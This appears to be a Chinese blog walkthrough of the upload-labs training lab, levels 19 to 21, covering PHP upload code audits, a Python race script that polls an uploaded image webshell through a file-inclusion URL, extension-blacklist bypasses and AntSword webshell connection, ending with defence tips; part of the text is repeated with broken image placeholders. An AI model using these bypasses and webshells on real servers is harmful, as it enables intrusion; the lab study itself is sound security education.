".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
无法上传 php 文件了,只能上传图片马,需要在图片马没有被重命名之前访问它,执行图片马还需要配合文件包含,apache 解析漏洞等,此处使用文件包含
生成图片马
上传图片马,和18关步骤一样
修改 python 脚本,将脚本 url 修改为文件包含地址
import requests
url = "http://10.1.1.5/upload-labs/include.php?file=upload/jjshell.jpg"
i = 1
while True:
res = requests.get(url=url)
print(f"第{i}次访问")
i += 1
if res.status_code == 200:
print("上传成功")
break
burpsuite 执行攻击,python 执行脚本
注意,蚁剑连接位置为 /upload-labs
目录下
Pass-20
代码审计
- 后缀黑名单,上传的文件名用户可控,只对用户输入的文件后缀名进行判断
使用
pathinfo()
函数获取上传文件的扩展名($file_ext = pathinfo($file_name,PATHINFO_EXTENSION)
)。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
直接上传.php 一句话木马
把保存路径的文件名改成 .php 后缀,点空格点绕过
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
蚁剑连接
Pass-21(拼接绕过)
代码审计
- 验证上传路径是否存在
- 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
- 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
- 判断file不是数组则使用explode(‘.’, strtolower($file))对file进行切割,将file变为一个数组
- 判断数组最后一个元素是否合法
- 数组第一位和 f i l e [ c o u n t ( file[count( file[count(file) - 1]进行拼接,产生保存文件名file_name
- 上传文件
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值。
count(array)函数,计算数组中的单元数目,或对象中的属性个数。
上传 php 一句话木马
改包
蚁剑连接
总结
如何防御?
- 不要暴露上传文件的位置
- 禁用上传文件的执行权限
- 黑白名单
- 对上传后的文件重命名
- 对文件内容二次渲染
- 对上传的内容进行读取检查
如何判断上传漏洞类型?
{
$is_upload = true;
}else{
$msg = ‘上传出错!’;
}
}else{
$msg = ‘禁止保存为该类型文件!’;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
直接上传.php 一句话木马
[外链图片转存中...(img-ZsewtJM1-1700469434984)]
把保存路径的文件名改成 .php 后缀,点空格点绕过
[外链图片转存中...(img-3BO5SAFs-1700469434984)]
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 `/.`
[外链图片转存中...(img-EKZqkuk4-1700469434985)]
蚁剑连接
[外链图片转存中...(img-f09HAP2O-1700469434985)]
## Pass-21(拼接绕过)
**代码审计**
- 验证上传路径是否存在
- 验证['upload_file']的content-type是否合法(可以抓包修改)
- 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
- 判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
- 判断数组最后一个元素是否合法
- 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
- 上传文件
> explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
>
> end(array)函数,输出数组中的当前元素和最后一个元素的值。
>
> reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值。
>
> count(array)函数,计算数组中的单元数目,或对象中的属性个数。
>
上传 php 一句话木马
[外链图片转存中...(img-QbBL31Xs-1700469434985)]
改包
[外链图片转存中...(img-D0dOhN6w-1700469434985)]
蚁剑连接
[外链图片转存中...(img-sVOxCHuy-1700469434986)]
## 总结
### 如何防御?
- 不要暴露上传文件的位置
- 禁用上传文件的执行权限
- 黑白名单
- 对上传后的文件重命名
- 对文件内容二次渲染
- 对上传的内容进行读取检查
### 如何判断上传漏洞类型?
![](https://img-blog.csdnimg.cn/img_convert/711984084661f55adb0a712a4ee5db4f.png)